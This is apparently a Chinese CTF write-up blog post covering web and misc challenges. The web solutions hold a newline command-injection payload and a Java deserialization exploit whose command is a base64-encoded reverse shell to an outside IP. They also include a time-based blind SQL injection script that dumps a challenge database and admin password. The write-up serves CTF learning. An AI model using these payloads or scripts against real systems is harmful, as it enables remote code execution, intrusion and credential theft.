本文最后更新于 651 天前,其中的信息可能已经有所发展或是发生改变。
Web
dig
题解
- 有关 dig 的命令执行
过滤:
` $ / & * | ;
- 利用换行截断,注入点在于 type 参数
dig \ncd ..\ncd ..\ncd ..\ncat flag#
写脚本会使人不幸
first_java
题解
- java 反序列化,但就是配环境花好长时间(比赛结束之后,比赛时不会java,就没看
- springboot 项目,代码解释cv于学长
这里显然就是User的toString方法到eval方法再到exec类中的runcmd方法。(为什么说是first_java就是因为这里不用追调用链,会java反序列化就出了)而toString方法怎么触发,搜索引擎一搜就能搜到。即BadAttributeValueExpException 类。(BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数)
综上,我们只需要构造一个BadAttributeValueExpException 类对象,把其成员变量val赋为User类对象,其中User对象的name成员变量为要执行的命令。(这里由于无回显所以用一个反弹shell的技巧)
关于java反序列化链的构造可以先了解Java反射、看readObject()方法等等
- exp
package com.example.demo;
import com.example.demo.classes.User;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
public class exp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Class c=Class.forName("com.example.demo.classes.User");
Constructor con=c.getDeclaredConstructor();
con.setAccessible(true);
Object u=con.newInstance();
setFieldValue(u,"name","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTIyLjIyMS8zMzQ1NyAwPiYx}|{base64,-d}|{bash,-i}");
// 此处为 bash -i >& /dev/tcp/ip/port 0>&1
BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
setFieldValue(val1,"val",u);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(val1);
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
}
}
SQL注入
题解
- 过滤
sleep or 空格 = < substr
// 好像不全
- payload
from requests import post
from time import time
url = 'http://challenge.dhycnhdu.com:33450/login.php'
data = {
'username': 'admin',
'password': ''
}
# 爆 库名
for i in range(8):
for j in range(48, 126):
f = time()
data['password'] = f'123\'&&benchmark(if(ascii(mid(database(),{i+1},1))>{j},1,10000000),sha(1));#'
a = post(url, data=data)
s = time()
if s - f > 1:
print(chr(j), end='')
break
print()
# 爆 表名
for i in range(8):
for j in range(48, 126):
f = time()
data['password'] = f"123'&&benchmark(if(ascii(mid((select table_name from information_schema.tables where table_schema like 'easysql' limit 0,1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/')
a = post(url, data=data)
s = time()
if s - f > 1:
print(chr(j), end='')
break
print()
# 爆 字段
for x in range(5):
for i in range(8):
for j in range(48, 126):
f = time()
data['password'] = f"123'&&benchmark(if(ascii(mid((select column_name from information_schema.columns where table_schema like 'easysql' limit {x},1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/')
a = post(url, data=data)
s = time()
if s - f > 1:
print(chr(j), end='')
break
print()
print()
# 爆 flag
for i in range(50):
for j in range(48, 126):
f = time()
data['password'] = f"123'&&benchmark(if(ascii(mid((select password from sqltable where username like 'admin' limit 0,1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/')
a = post(url, data=data)
s = time()
if s - f > 1:
print(chr(j), end='')
break
- 利用
benchmark(1000000,sha(1))
代替sleep 1.9
- 利用
mid
代替substr
Misc
环
题解
binwalk
递归分离,960层,得到flag.jpg
,文件末尾存在多余数据
- 将所有文件名拼合得到
base
编码的字样,fuzz
之后得到our secrect is password
(正确的不是password
,我忘了
- 分离
flag.jpg
,利用oursecret
解密,得到flag
Oursecret
加密后文件末尾通常或有类似的结果
智能卡
题解
- 根据 IC 卡的结构得到加密密钥
- 进行异或得到
flag